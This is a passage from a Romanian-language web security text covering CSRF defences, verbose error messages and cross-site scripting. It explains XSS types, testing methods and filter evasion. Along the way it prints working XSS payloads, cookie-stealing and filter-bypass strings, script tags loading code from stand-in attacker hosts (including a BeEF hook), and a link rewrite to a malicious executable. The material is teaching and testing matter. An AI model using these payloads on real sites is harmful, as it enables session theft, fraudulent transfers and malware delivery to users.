timpul utilizării acestora. Spre deosebire de rest ul, vulnerabilitățile de tip XSRF apar atunci
când dezvoltatorii omit un mecanism de prevenire a XSRF din aplicația lor.
Un exemplu clasic este cel al unei aplicații bancare care le permite utilizatorilor să transfere
fonduri dintr -un cont în altul folosin d o cerere simplă GET prin HTTP. Presupunem că
aplicația folosește următoarea modalitate de a transferă fondurile:
http://xsrf.bancavulnerabila.com/transferFonduri.aspx?Incontul=12345&fonduri=1000.
00&valuta=euro
Continuând cu exemplul de mai sus, presupune m că un atacator creează o pagină HTML
malițioasă pe un sistem care se află sub controlul lui și care conține următorul cod JavaScript:
<script type="text/javascript">
var i = document.createElement(“image ”);
22
i.src="http://xsrf.bancavulnerabila.com/transfe rFonduri.aspx?"Incontul=ATACATOR&fo
nduri=1000.00&valuta=euro”;
</script>
Efectul acestui cod este de a crea un tag de imagine dinamic în HTML și să seteze sursa ca
fiind cea a transferului de fonduri din aplicația vulnerabilă a băncii. Browser -ele clienților
autentificați pe pagina băncii respective, care accesează pagina atacatorului, o să execute
codul JavaScript al acestuia și o să creeze în fundal o cerere HTTP GET legată la sursă
imaginii dinamice iar acțiunea va fi executată ca și cum utilizat orul ar fi făcut -o în mod
voluntar.
Securizare
Cookie -uri postate de două ori
Această metodă de apărare constă în introducerea unui câmp de introducere a datelor secrete
care să conțină valoarea actuală a ID -ului de sesiune a utilizatorului sau o altă valoare
securizată generată aleator într -un cookie al clientului pentru orice formular folosit la
transmiterea datelor sensibile. Când formularul este postat, serverul aplicației va verifica dacă
valoarea cookie -ului din formular coincide cu cea din antetu l HTTP al cererii, în caz contrar
cererea va fi ignorată ca și invalidă și va fi înregistrată în fișierele log ca potențial atac.
Această metodă se bazează pe faptul că atacatorul nu știe valoarea cookie -ului de sesiune al
utilizatorului, însă dacă prin al tă metodă acesta reușește să afle valoarea, această strategie de
apărare nu va avea succes.
Nonce unic pentru formular
Este probabil cea mai folosită metodă de apărare împotrivă CSRF și constă în construirea
fiecărui formular folosind un câmp ascuns care c onține un nonce (number used once) obținut
folosind un generator pseudo -aleator de numere securizate prin criptare, pentru a nu fi
vulnerabil la atac. Când serverul aplicației primește valorile parametrilor formularului ca
făcând parte dintr -o cerere HTTP POST, va compara valoarea nonce -ului cu valoarea stocată
în memorie și va ignora cererea dacă valorile acestora diferă sau dacă valoarea nonce -ului a
expirat.
Cererea credențialelor de autentificare
Această metodă le cere utilizatorilor autentificați să re introducă parola corespunzătoare
sesiunii în care sunt autentificați ori de câte ori fac o tranzacție sensibilă. Această strategie
23
este des întâlnită în aplicațiile web în cadrul cărora tranzacțiile de o natură sensibilă se
întâmplă rar (cel mai adesea fii nd schimbări ale informațiilor de pe profilul utilizatorului).
1.3.10 V erbose Error Messages
Nu sunt un tip de atac în sine, însă mesajele de eroare cu scop informativ pot conține adresele
complete și numele fișierelor, descrieri ale tabelelor SQL, erori a le bazei de date sau alte erori
legate de aplicație și mediul în care rulează. Un formular tipic de autentificare îi cere
utilizatorului să introducă două informații (nume de utilizator și parolă), alte aplicații cer mai
multe informații (data nașterii, un cod PIN). Când un proces de autentificare dă greș, poți, în
mod evident, să îți dai seama că una din informațiile introduse nu au fost corecte, însă uneori
aplicația te anunță care din ele a fost greșită.
Acest lucru poate fi folosit pentru a diminua efi ciența mecanismului de autentificare. În cel
mai simplu caz, unde autentificarea cere nume de utilizator și parolă, aplicația poate răspunde
la o autentificare nereușită prin identificarea motivului (nu are cunoscut numele de utilizator
sau parola este gre șită).
Atacul: Într -un asemenea caz, se poate folosi o metodă automată de atac, care să parcurgă o
listă mare de nume comune de utilizatori pentru a afla care din ele sunt valide, deși în general
numele utilizatorilor nu sunt considerate a fi secrete, iden tificarea lor îi dă atacatorului șanse
mai mari de a compromite aplicația folosindu -se de timp, abilitate și efort. O listă de nume de
utilizatori enumerați poate fi folosită ulterior pentru diverse metode de atac incluzând:
ghicirea parolelor, atacuri asu pra datelor utilizatorilor, sesiuni sau inginerie socială. În
procesele de autentificare mai complexe, unde aplicația cere utilizatorului să introducă mai
multe informații sau să treacă prin mai multe etape, mesajele de eroare detaliata sau alți
discrimina tori pot ajuta un atacator să treacă prin fiecare etapă a autentificării, crescându -i
șansele de a obține acces neautorizat.
Securizare
Utiliza rea validări i pe partea clientului doar pentru performanță, nu și pentru securitate
Normalizați datele de intrare
Aplicați validarea pe partea serverului
Restrângeți tipurile de date care pot fi introduse
Utilizați codarea securizată a caracterelor și validarea datelor de ieșire
24
Utilizați white lists și black lists
Aveți grijă cu mesajele de eroare
Solicitați autenti ficare
1.4 Rapoarte vulnerabilități (CENZIC – Hailstorm )
Fig. 1.4 Vulnerabilități aplicații Web
Fig. 1.5 Tendința de detecție a vulnerabilităților aplicațiilor Web
25
Capitolul I I: CROSS -SITE SCRIPTING (XSS)
Afectează marea majoritate a aplicațiilor live, inclusiv unele dintre cele mai importante
aplicații critice de pe Internet, cum ar fi cele utilizate de băncile online.
În timpul executării unu i atac XSS, informațiile de la o singură entitate, unde nu este de
încredere, sunt transferate către o altă entitate, unde este de încredere.
Informațiile transferate pot fi compuse din date de sesiune, conținut sensibil al paginii,
compromiterea datelor d e utilizator sau o varietate de alte obiecte.
Atacurile XSS apar atunci când un atacator utilizează o aplicație web pentru a trimite un cod
rău intențio nat, în general, sub forma unui side -script al browserului, unui alt utilizator final.
Defectele care pe rmit acestor atacuri să reușească sunt destul de răspândite și apar oriunde o
aplicație web utilizează intrări de la un utilizator în cadrul output -ului pe care il generează
fără validarea sau codarea acestuia.
Browser -ul utiliz atorului nu are cum să știe că scriptul nu este de încredere și va executa
scriptul. Deoarece crede că scriptul a provenit dintr -o surs ă de încredere, scriptul malitios
poate accesa orice cookie -uri, token -uri de sesiune sau alte informații sensibile păstrate de
browser și utilizate cu acel site. Aceste scripturi pot chiar să rescrie conținutul paginii HTML.
Aceste acțiuni pot avea ca rezultat unele dintre aceleași efecte pe care le -am examinat deja,
cum ar fi deturnarea sesiunilor (session hijacking) , actiuni neautorizate si dezvalui rea datelor
cu caracter personal. Acestea pot duce, de asemenea, la alte rezultate nedorite, cum ar fi
înregistrarea intrărilor de la tastatura (keylogger) sau executarea de comenzi arbitrare pe
computerele utilizatorilor.
Cross -Site S cripting, cunoscut sub numele de acronim, XSS,
este un tip de vulnerabilitate a securității calculatorului c are
implică injectarea de cod/script în pagini web prin intermediul
aplicațiilor web. Această vulnerabilitate este Nasul atacurilor
împotriva altor utilizatori, reprezentând 25% din totalul
vulnerabilităților detectate în aplicațiile web.
26
2.1 Istoric
Alte domenii ale securității software s -au confruntat în ultimii ani cu o trecere treptată
a focalizării de la atacurile server -side la atacurile de tip client -side. De exemplu, Microsoft a
anunțat frecvent vulnerabilități grave de securitate în cadrul produselor sale de s ervere.
Deși au fost descoperite numeroase defecte client -side, acestea au primit mult mai
puțină atenție deoarece serverele au prezentat o țintă mult mai atrăgătoare pentru majoritatea
atacatorilor. În decursul câtorva ani, la începutul secolului al XXI -lea, situația s -a schimbat
semnificativ. Deoarece conștientizarea generală a amenințărilor de securitate a evoluat, prima
linie a luptei dintre proprietarii de aplicații și hackeri sa mutat de la server la client.
La sfârșitul anilor 1990, majoritatea aplic ațiilor de pe Internet erau pline de defecte
critice, cum ar fi injectarea comen zilor (command injection), care puteau fi gasite și
exploa tate de orice atacator cu puține cunoștințe . Deși multe astfel de vulnerabilități există si
in prezent , acestea devin din ce în ce mai puțin răspândite și mai dificil de exploatat.
Între timp, chiar și ce le mai multe aplicații critice de securitate conți n în continuare
multe defecte client -side ușor de descoperit. În plus, deși partea de server a unei aplicații se
poate c omporta într -o manieră limitată, controlabilă, clienții pot utiliza orice număr de
tehnologii și versiuni diferite de browser, deschizând o gamă largă de potentiali vectori de
atac cu succes.
Un accent cheie al cercetării în ultimul deceniu a fost reprezen tat de vulnerabilitățile
client -side, cu defecte cum ar fi session fixation și cross -site request forgery , fiind discutate
mai mulți ani după ce majoritatea categoriilor de bug -uri de pe server erau cunoscute.
Concentrarea media asupra securității web este în principal pr eocupată de atacurile
client -side, cu termeni pre cum spyware, phishing și Trojans , fiind o monedă comună pentru
mulți jurnaliști care nu au auzit niciodată de injecția SQL sau de path traversal . Și atacurile
împotriva utilizatorilor de aplic ații web reprezintă o afacere criminală din ce în ce mai
profitabilă.
Atacurile împotriva altor utilizatori apar în numeroase forme și manifestă o varietate
de subtilități și nuanțe care sunt adesea trecute cu vederea. Ele sunt, de asemenea, mai puțin
bine înțelese, în general, decât atacurile primare server -side, cu fluctuații diferite care sunt
contrazise sau neglijate chiar de anumiți testeri de penetrare. Când XSS a devenit prima dată
27
cunoscută în comunitatea de securitate a aplicațiilor web, unii expe rți in testarea de penetrare
profesională au fost înclinați să considere XSS vulnerabilitate "lame".
Acest lucru s -a datorat, în parte, prevalenței sale fenomenale pe web și, de asemenea,
că utilizarea XSS este adesea mai puțin directă pentru un hacker singuratic care vizează o
aplicație, în comparație cu multe vulnerabilități, cum ar fi injectarea comenzilor pe partea
server -side.
De-a lungul timpului, această percepție s -a schimbat, iar astăzi XSS este adesea citată
drept amenințarea de securitate numărul unu pe web. Pe măsură ce s -au dezvoltat cercetări le
în privința atacurilor client -side, discuția sa axat pe numero ase alte atacuri care sunt cel puțin
la fel de complicat de exploata t, ca orice vulnerabilitate XSS. S-au produs numeroase atacuri
în lumea reală, în care vulnerabilitățile XSS au fost folosite pentru a compromite organizațiile
cu profil ridicat.
XSS repr ezintă adesea o slăbiciune critică de securitate în cadrul unei aplicații.
Aceasta slabiciune poate fi adesea combinat a cu alte vulnerabilități rezultand un efect
devastator. În unele situații, un atac XSS poate fi transformat într -un virus sau într -un vie rme
cu propagare automată. Atacurile de acest fel nu sunt cu siguranță “lame ”.
Cross -site scripting a existat de când Netscape a introdus limba jul JavaScript la
începutul anilor 1990. De fapt, compania Netscape a fost cel puțin conștient a intr -un mod
moder at de riscurile de securitate asociate cu permiterea unui server web să trimită un cod
executabil unui browser (chiar dacă mediul era izolat – browser sandbox ).
În unele cazuri, un script dintr -o pagină ar trebui să aibă permisiunea de a accesa
datele dintr -o altă pagină sau obiect, dar în altele, acest lucru ar trebui să fie strict interzis,
deoarece un site rău intenționat ar putea încerca să fure informații sensibile în acest fel. Din
acest motiv, a fost introdu să politica de origine identică ( Same Origin Policy ).
SAME ORIGIN POLICY
În esență, politica de origine identică permite orice interacțiune între obiecte și pagini,
atâta timp cât aceste obiecte și / sau pagini utilizează același nume de domeniu, acelasi
protocol la nivelul layer -ului de aplicatie și, în majoritatea browserelor, acelasi port TCP al
paginii web care rulează scriptul. În acest fel, un website rău intenționat nu ar putea accesa
date sensibile într -un alt browser.
28
De la implementarea politicii de orig ine identică, alte politici de control al accesului
au fost integrate în browserele și lim ajele de scripting din partea clientului pentru a proteja
utilizatorii de atacuri dăunătoare.
Într-adevăr, găurile de securitate Cross -Site Scripting pot fi văzute ca vulnerabilități
care permit atacatorilor să ocolească aceste mecanisme.
2.2 Tipuri de XSS
La început, au fost identificate două tipuri primare de XSS, XSS Stocat și XSS
Reflectat. În 2005, Amit Klein a definit un al treilea tip de XSS, pe care l-a denumit DOM
Based XSS. Deși acestea au mai multe caracteristici comune, ele au, de asemenea, diferențe
importante în ceea ce privește modul în care pot fi identificate și exploatate.
Aceste trei tipuri de XSS sunt definite după cum urmează:
2.2.1 XSS Reflectat (AKA First Order , Non-Persistent sau Type II)
XSS Reflectat este cel mai des întâlnit tip de Cross -Site Scripting.
Atacurile refle ctate sunt cele în care scriptul injectat este reflectat de pe serverul web,
cum ar fi un mesaj de eroare, rezultatul căutării sau orice alt răspuns care include o parte sau
tot input -ul trimis serverului ca parte a cererii, fără ca aceste date să fie interpret ate în
siguranță în browser și fără stocarea permanentă a datelor furnizate de utilizator .
Atacurile reflectate sunt transmise victimelor prin intermediul unui alt traseu, cum ar
fi într -un e-mail sau p rin intermediul unui alt site web. Atunci când utiliza torul este pacalit să
facă clic pe un link malitios , procesand un formular special creat , sau chiar navig and pe un
site rău intenționat, codul injectat călătorește către site -ul web vulnerabil, c are reflectă atacul
înapoi în browser -ul utilizatorului. Brow serul execută apoi codul, deoarece prov ine de la un
server "de încredere".
XSS Reflectat apare atunci când un atacator injectează codul executabil al
browserului într -un singur răspuns HTTP. Atacul injectat nu este stocat în aplicația în sine;
este non -persistent și are un impact numai asupra utilizatorilor care deschid un link malitios
(crafted URL) sau o pagină web third -party. Stringul de atac este inclus ca parte a unui URL
modificat (crafted) sau a parametrilor HTTP, prelucrat incorect de către aplicaț ie și returnat
victimei.
29
Atacurile XSS Reflectate sunt cunoscute sub numele de atacuri XSS non -persistente
și, deoarece încărcătura utilă de atac (attack payload) este livrată și executată printr -o singură
cerere și răspuns, acestea sunt de asemenea denumi te XSS de ordin primar (First Order).
Fig. 2 .1 XSS Reflectat
Atunci când o aplicație web este vulnerabilă la acest tip de atac, aceasta va transmite
intrarea nevalidată trimisă prin solicitări către client. Modus operandi comun al atacului
include o etap ă de proiectare în care atacatorul creează și testează un URL malitios, o etapă
de inginerie socială, în care victima este convinsa să încarce acest URL in browser, și
eventuala executare a codului malitios folosind browserul victimei.
În mod obișnuit, cod ul atacatorului este scris în limbajul Javascript, dar sunt utilizate
și alte limbaje de scripting, de exemplu, ActionScript și VBScript. Atacatorii folosesc de
obicei aceste vulnerabilități pentru a instala aplicatii keylogger, a fura cookie -urile victime lor,
a efectua furtul continutului din clipboard și a schimba conținutul paginii (de ex., link -uri de
descărcare).
Una dintre principalele dificultăți în prevenirea vulnerabilităților XSS este codificarea
corectă a caracterelor. În unele cazuri, serverul a plicației web nu poate filtra anumite
codificări ale caracterelor, asadar, de exemplu, aplicația web ar putea filtra "<script>" , dar
nu ar putea să filtreze "%3cscript%3e" care include pur și simplu o altă codificare a
etichetelor.
30
2.2.1.1 Testare Black -Box
Un test Black -Box va include cel putin 3 faze:
1. Detectarea vectorilor de intrare
Pentru fiecare pagină web, testerul trebuie să determine toate variabilele definite de
utilizator ale aplicatiei web și modul de introducere a acestora. Asta includ e input ascuns sau
non-evident, cum ar fi parametri HTTP, datele POST si valori ascunse ale câmpu lui de
formular. De obicei, edito arele HTML din browser sau proxy -urile web sunt utilizate pentru a
vizualiza aceste variabile ascunse .
2. Analiza fiecar ui vector de intrare pentru a detecta vulnerabilitățile potențiale
Pentru a detecta o vulnerabilitate XSS, testerul va folosi în mod obișnuit date de intrare
special create cu fiecare vector de intrare. Astfel de date de intrare sunt de obicei inofensive,
dar declan șează răspunsuri din partea browserul ui web care manifestă vulnerabilitatea. Datele
de testare pot fi generate folosind un fuzzer de aplicație web, o listă automatizată predefinită
de șiruri de atac cunoscute , sau pot fi generate manual.
Un exemplu de as tfel de date de intrare sunt următoarele:
<script>alert(123)</script>
“><script>alert(document.cookie)</script>
3. Analiza rezultat si determinare impact asupra securitatii aplicatiei web
Pentru fiecare input de test incercat în faza anterioară, testerul va a naliza rezultatul și va
determina dacă reprezintă o vulnerabilitate care are un impact realist asupra securității
aplicației web. Acest lucru necesită examinarea paginii web HTML rezultate și căutarea
inputului de test. Odată găsit inputul , testerul identi fică orice caractere speciale care nu au
fost corect cod ificate , înlocuite sau filtrate. Setul de caractere speciale nefiltrate vulnerabile
va depinde de contextul secțiunii HTML. În mod ideal, toate caracterele speciale HTML vor
fi înlocuite cu entități HTML. Entitățile HTML cheie care trebuie identificate sunt:
> (greater than)
< (less than)
& (ampersand)
' (apostrophe or single quote)
" (double quote)
31
În contextul unei acțiuni HTML sau al unui cod JavaScript, un set diferit de caractere
speciale va tr ebui să fie scos, cod ificat, înlocuit sau filtrat. Aceste caractere includ:
\n (new line)
\r (carriage return)
\' (apostrophe or single quote)
\" (double quote)
\\ (backslash)
\uXXXX (unicode values)
Exemplul 1 – executie script
De exemplu, se ia în consid erare un site care are un mesaj de bun venit " Welcome
%username% " și un link de download.
Fig. 2.2 Exemplu pagina web cu mesaj de intampinare si link de download
Testerul trebuie să suspecteze că fiecare punct de introducere a datelor poate duce la un atac
XSS. Pentru analiza, testerul va testa variabila "user" și va încerca să declanșeze
vulnerabilitatea.
http://example.com/index.php?user=<script>alert(123)</script>
Daca nu este prezenta nicio protectie impotriva vulnerabilitatii XSS, va rezulta popup -ul
Fig. 2.3 Output executie script
Acest popup indica faptul că există o vulnerabilitate XSS și testerul poate executa orice cod
la alegere în browserul oricui, dacă se face clic pe link -ul de mai sus .
32
Exemplul 2 – descarcare fisier malitios
Se ia ca exemplu urmatorul cod (link):
http://example.com/index.php?user=<script>window.onload = function() {var
AllLinks=document.getElementsByTagName("a");
AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script>
Acesta produce următorul comportament :
Fig. 2.4 Modificare continut download
Acest lucru va determina utilizatorul, făcând clic pe link -ul furnizat de tester, sa descarce
fișierul "malicious.exe" .
Evitarea filtrelor XSS
Atacurile XSS reflectate sunt impiedicate odata cu sanitizarea inputulu i aplicatiei web, cu
ajutorul unui firewall care sa blocheze inputul malitios, sau prin mecanisme încorporate în
browserele web moderne. Testerul trebuie să testeze vulnerabilitățile presupunând că
browserele web nu vor împiedica atacul. Este posibil ca br owserele să nu fie actualizate sau
să fie dezactivate funcțiile de securitate încorporate. În mod similar, firewall -urile pentru
aplicații web nu sunt garantate pentru recunoașterea atacurilor necunoscute. Un atacator ar
putea construi un șir de atac care nu este recunoscut de firewall -ul aplicației web.
Există mai multe mecanisme disponibile dezvoltatorilor pentru sanitizare , cum ar fi
returnarea unei erori, eliminarea, cod ificarea sau înlocuirea intrărilor in valide. Mijloacele prin
care aplicația detectea ză și corectează inputul invalid reprezintă o altă slăbiciune primordială
în prevenirea XSS. O listă neagră (blacklist) poate să nu includă toate șirurile de atac
posibile, o listă albă (whitelist) poate fi prea permisivă, sanitizarea poate eșua , sau un tip de
input poate fi incorect tratat ca fiind de încredere și rămâne nesanitizat. Toate acestea permit
atacatorilor să evite filtrele XSS .
33
Exemplul 3 – valoarea atributului de etichetă
Deoarece aceste filtre se bazează pe o listă neagră, nu pot bloca orice tip de expresii. De fapt,
există cazuri unde exploatarea XSS poate fi efectuată fără utilizarea tagurilor <script> și
chiar fără utilizarea unor caractere precum "<> și / care sunt de obicei filtrate.
De exemplu, aplicația web ar putea utiliza va loarea introdusă de utilizator pentru a umple un
atribut, după cum se arată în următorul cod:
<input type="text" name="state" value="INPUT_FROM_USER">
Apoi un atacator ar putea injecta u n handler de evenimente care conține javascript :
"onfocus="alert(docum ent.cookie)
Exemplul 4 – sintaxă sau codificare diferita
În unele cazuri, este posibil ca filtrele bazate pe semnături să poată fi pur și simplu învinse
prin eclipsarea atacului. De obicei, acest lucru se poate face prin introducerea unor variații
neașteptate în sintaxă sau în secțiunea de codificare . Aceste varia tii sunt tolerate de browsere
ca valori HTML val ide atunci când codul este returnat , și totuși acestea ar putea fi acceptate
de filtru.
"><script>alert(document.cookie)</script >
"><ScRiPt>alert(document.cookie)</ScRiPt>
"%3cscript%3ealert(document.cookie)%3c/script%3e (URL encoded)
Exemplul 5 – evitarea filtrării non -recursive
Uneori sanitizarea se aplică o singură dată și nu se efectueaz ă recursiv. În acest caz,
atacatorul poate învinge filtrul prin trimiterea unui șir care conține mai multe încercări, cum
ar fi acesta:
<scr<script>ipt>alert(document.cookie)</script>
Exemplul 6 – Includerea unui script extern
Acum, presupun and că dezvolta torii site -ului țintă au implementat următorul cod pentru a
proteja inputul de la includerea unui script extern:
<?
$re = "/<script[^>]+src/i";
if (preg_match($re, $_GET['var']))
{
34
echo "Filtered";
return;
}
echo "Welcome ".$_G ET['var']." !";
?>
În acest scenari u există o expresie regulată care verifica dacă este inserat urmatorul cod:
<script[anything but the character:'>']src
Acest lucru este util pentru filtrarea urmatoarelor expresii:
<script src="http://attacker/xss.js"></ script>
Este un atac comun, d ar, în acest caz, este posibilă evitarea sanitizarii utilizând caracterul ">"
într-un atribut între script și src, cum ar fi:
http://example/?var=<SCRIPT%20a=">"%20SRC="http://attacker/xss.js"></SCRIPT>
Linia de cod de mai sus va exploata vulnerabilitatea XSS Reflectat , executând codul
javascript stocat pe serverul web al atacatorului ca și cum ar proveni de pe site -ul web al
victimei.
Exemplul 7 – Poluarea parametrilor HTTP (HPP)
O altă metodă de evitare a filtrelor este HTTP Parameter Pollution (HPP) , această tehnică
fiind prezentată pentru prima oară de Stefano di Paola și Luca Carettoni în 2009 la conferința
OWASP din Polonia. Această tehnică de evaziune constă în împărțirea unui vector de atac
între mai mulți parametri care au același nume. Manipularea valorii fiecărui parametru
depinde de modul în care fiecare tehnologie web parseaza acești parametri, astfel încât acest
tip de evaziune nu este întotdeauna posibil ă. Dacă mediul testat concatenează valorile tuturor
parametril or cu același nume, atunci un atacator ar putea folosi această tehnică pentru a evita
mecanismele de securitate bazate pe modele.
Tip de atac obisnuit:
http://example/page.php?param=<script>[…]</script >
Atac folosind HPP:
http://example/page.php?param=<script¶m=>[…]</¶m=script >
35
2.2.1.2 Testare Gray -Box
Testarea Gray -Box este identic ă cu testarea Black -Box. În cazul acestei metode de testare,
pen-testerul are cunoștințe parțiale despre aplicație. În acest caz, info rmațiile despre input -ul
utilizatorului, controalele de validare a input -ului și modul în care in put-ul utilizatorului este
procesat înapoi catre utilizator ar putea fi cunoscută de către pen-tester.
2.2.1.3 Testare White -Box
Dacă este disponibil codul sursă, ar trebui analizate toate variabilele primite de la utilizatori.
Mai mult, testerul ar trebui să analizeze orice proceduri de sanitizare implementate pentru a
decide dacă acestea pot fi eludate.
2.2.2 XSS Stocat (AKA Second Order , Persistent sau Type I)
XSS Stocat este cel mai periculos tip de Cross -Site Scripting. Aplicațiile web care permit
utilizatorilor să stocheze date sunt potențial expuse la acest tip de atac.
XSS stocat apare atunci când o aplicație web adună intrări malitioase (ex. script in jectat) de la
un utilizator și apoi stochează acele intrări într -un depozit de date (data store) pentru o
utilizare ulterioară. In put-ul care este stocat nu este filtrat corect. În consecință, datele rău
intenționate vor apărea ca parte a site -ului web și vor fi executate în browser -ul utilizatorului
sub privilegiile aplicației web. Deoarece această vulnerabilitate implică de obicei cel puțin
două solicitări către aplicație, se poat e numi și XSS de ordin secundar (Second Order).
Fig. 2.5 XSS Stocat
36
Odată cu apariția HTML5 și a altor tehnologii de browser, putem imagina că sarcina utilă de
atac (payload) este stocată permanent în browser -ul victimei, cum ar fi o bază de date
HTML5, și nu este trimisă deloc catre server.
Această vulnerabilitate poate fi util izată pentru a efectua mai multe atacuri bazate pe browser,
cum ar fi :
Deturnarea browserului unui alt utilizator ;
Captarea informațiilor sensibile vizualizate de utilizatorii aplicațiilor ;
Pseudo ștergerea aplicației ;
Scanarea porturilor host -urilor inter ne ("intern" în raport cu utilizatorii aplicației web) ;
Livrare directă a exploit -urilor bazate pe browser ;
Alte activități malițioase ;
XSS Stocat nu are nevoie de un link malițios pentru a fi exploatat. Un exploit reușit are loc
atunci când un utilizator accesează o pagină cu XSS Stocat.
Următoarele faze se referă la un scenariu tipic de atac XSS stocat:
Atacatorul stochează un cod rău intenționat în pagina vulnerabilă ;
Utilizatorul se autentifică în aplicație ;
Utilizatorul vizitează pagina vulnerabilă ;
Codul rău intenționat este executat de browserul utilizatorului ;
Acest tip de atac poate fi de asemenea exploatat cu framework -uri de exploit al browser -ului,
cum ar fi BeEF, XSS Proxy și Backframe. Aceste framework -uri permit dezvoltarea exploit –
urilor Ja vaScript într -un mod complex.
XSS Stocat este deosebit de periculos în sfera aplicațiilor unde utilizatorii cu privilegii
ridicate au acces. Când administratorul accesează pagină vulnerabilă, atacul este executat
automat de browserul s ău. Acest lucru ar pu tea expune informații sensibile, cum ar fi token –
urile de autorizare a sesiunii.
2.2.2.1 Testare Black -Box
Procesul de identificare a vulnerabilităților stocate XSS este simila r cu procesul descris în
testarea pentru XSS reflectat.
37
Formulare de input
Primul pas este identificarea tuturor punctelor unde input-ul utilizatorului este stocat în back –
end și apoi este afișat de aplicație. Exemple tipice de in put stocat al utilizatorului pot fi găsite
în:
Pagina utilizator / profiluri: aplicația permite utili zatorului să editeze / modifice detaliile
profilului, cum ar fi numele, prenumele, pseudonimul, a vatarul, fotografia, adresa etc;
Coș de cumpărături: aplicația permite utilizatorului să stocheze articole în coșul de
cumpărături, care poate fi revizuit ulte rior;
Manager de fișiere: aplicație care permite încărcarea fișierelor ;
Setările / preferințele aplicației: aplicație care permite utilizatorului să stabilească
preferințe ;
Forum / Message board: aplicație care permite schimbul de posturi între utilizatori ;
Blog: dacă aplicația blog permite utilizatorilor să trimită comentarii ;
Jurnal: dacă aplicația stochează input -ul anumitor utilizatori în jurnale;
Analizarea codului HTML
Intrările stocate de aplicație sunt utilizate în mod normal în etichetele HTML , dar pote fi
găsit e și ca parte a conținutului JavaScript. În acest stadiu, este fundamental a se înțelege
dacă intrarea este stocată și modul în care aceasta este poziționată în contextul paginii.
Fig. 2.6 Formular introducere adresa e -mail
Codul HTML unde este localizată valoarea e -mail:
<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com" />
38
În acest caz, testerul trebuie să găsească o modalitate de a injecta codul în afara etichetei
<input> după cum urmează:
<input class="inp utbox" type="text" name="email" size="40" value="aaa@aa.com">
MALICIOUS CODE <! – />
Aceasta implică testarea validarii input -ului și filtrare a controalelor aplicației. Exemple de
injecție de bază în acest caz:
aaa@aa.com"><script>alert(document.cookie)</s cript>
aaa@aa.com%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E (URL Encoded )
Pentru ca acest input sa fie trimis prin intermediul aplicatiei este necesar s ă se dezactiv eze
JavaScript , dacă sunt implementate controale de securitate client -side, sau se modifice
cererea HTTP cu ajutorul unui proxy web, cum ar fi WebScarab.
WebScarab
WebScarab este un framework pentru analiza aplica țiilor care comunică folosind protocoalele
HTTP și HTTPS. Este scris în Java și este astfel portabil pentru multe platforme. WebScarab
are mai multe moduri de func ționare, implementate de un num ăr de pluginuri. În cea mai
comună utilizare, WebScarab func ționează ca un proxy de interceptare, permi țând
operatorului s ă revizuiasc ă și să modifice cererile cre ate de browser înainte de a fi trimise
catre server și să revizuiasc ă și să modifice r ăspunsurile returnate de server înainte ca acestea
să fie primite de browser. WebScarab este capabil să intercepteze atât comunicarea HTTP cât
și HTTPS. Operatorul poate, de asemenea, s ă revad ă conversa țiile (cererile și răspunsurile)
care au trecut prin WebScarab.
Fig. 2. 7 Fereastra principala WebScarab
39
Tabel comparativ HTTP GET vs HTTP POST
HTTP GET HTTP POST
Cere date dintr -o resursa specificata
Cererile GET pot fi cache-uite
Cererile GET raman in istoricul browser -ului
Cererile GET au restrictii de lungime a
datelor
Cererile GET ar trebui să fie folosite numai
pentru a prelua date
Cererile Get nu ar trebui sa fie folosite
atunci cand se utilizeaza date sensibile
Ex:
/test/demo_form.php?name1=value1&name2=value2 Prezinta date care sunt prelucrate
catre o resursa specificata
Cererile POST nu sunt cache -uite
Cererile POST nu raman in istoricul
browser-ului
Cererile POST nu au restrictii de
lungime a datelor
Ex:
POST /test/demo_form.php HTTP/1.1
Host: domain.com
name1=value1&name2=value2
Codul i njecta t are ca rezultat o fereastră pop -up care conține valorile cookie -ului.
Fig. 2 .8 Valori Cookie
Codul HTML după injectare:
<input class="inputbox" type="text" name="ema il" size="40"
value="aaa@aa.com"><script>alert(document.cookie)</script>
Input -ul este stocat și payload -ul XSS este executat de browser atunci când pagina este
reîncărca ta.
XSS Stocat cu BeEF
Un scenariu de exploatare tipic BeEF implică:
Injectarea unui “cârlig ” JavaScript care comunică cu aplicatia BeEF a atacatorului ;
Se așteaptă ca utilizatorul aplicației să acceseze pagina vulnerabilă unde este afișată
intrarea stocată ;
Controla rea browserul ui utilizatorului aplicației prin consola BeEF ;
40
Cârligul (hook .js) JavaScript poate fi injectat prin exploatarea vulnerabilității XSS în aplicația
web.
aaa@aa.com”><script src=http://attackersite/hook.js></script>
Când utilizatorul încarcă pagina php, scriptul hook.js este executat de browser. Apoi, este
posibil să se acces eze cookie -uri, screenshot -ul utilizatorului, clipboard -ul utilizatorului și să
fie lansa te atacuri XSS complexe.
Fig. 2. 9 Exemplu Injecție BeEF
Upload de fisier
Dacă aplicația web permite upload -ul de fișiere , este important a se verifica dacă este posibil ă
încărca rea de conținut HTML. De exemplu, dacă sunt permise fiș iere HTML sau TXT,
payload -ul XSS poate fi injectat în fișierul încărcat. De asemenea, pen-testerul trebuie să
verifice dacă încărcarea fișierului permite setarea ti purilor arbitrare MIME.
Multipurpose Internet Mail Extensions (MIME)
MIME reprezinta un standard internet care extinde formatul de e -mail pentru a sprijini:
Text în seturi de caractere, altele decât ASCII ;
Atașamente non -text: audio, video, imagini, progra me de aplicații etc. ;
41
Corpuri de mesaje cu mai multe părți ;
Informații despre antet în seturi de caractere non -ASCII ;
MIME a fost proiectat în principal pentru SMTP, tipurile de conținut definite de standardele
MIME sunt de asemenea importante în protocoal ele de comunicare în afara e -mailului, cum
ar fi HTTP pentru World Wide Web. Serverele insereaza antetul MIME la începutul oricărei
transmisiuni web. Clienții utilizează acest antet de tip de conținut sau de tip media pentru a
selecta o aplicație potrivită pentru vizualizarea tipului de date indicate de antet.
Unele dintre aceste viewere sunt încorporate în clientul web sau în browser (de exemplu,
aproape toate browserele vin cu viewere de imagini GIF și JPEG, precum și capacitatea de a
gestiona fișiere HTM L).
Exemplu antet MIME:
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=frontier
This is a message with multiple parts in MIME format.
–frontier
Content-Type: text/plain
Se ia in considerare urmatorea cerere HTTP POST pentru upload de fisier:
POST /fileupload.aspx HTTP/1.1
[…]
Content-Disposition: form -data; name="uploadfile1"; filename="C: \Documents and
Settings \test\Desktop\test.txt"
Content-Type: text/plain
test
Acest defect de proiectare poate fi exploatat in browser ( MIME mishandling attack s). De
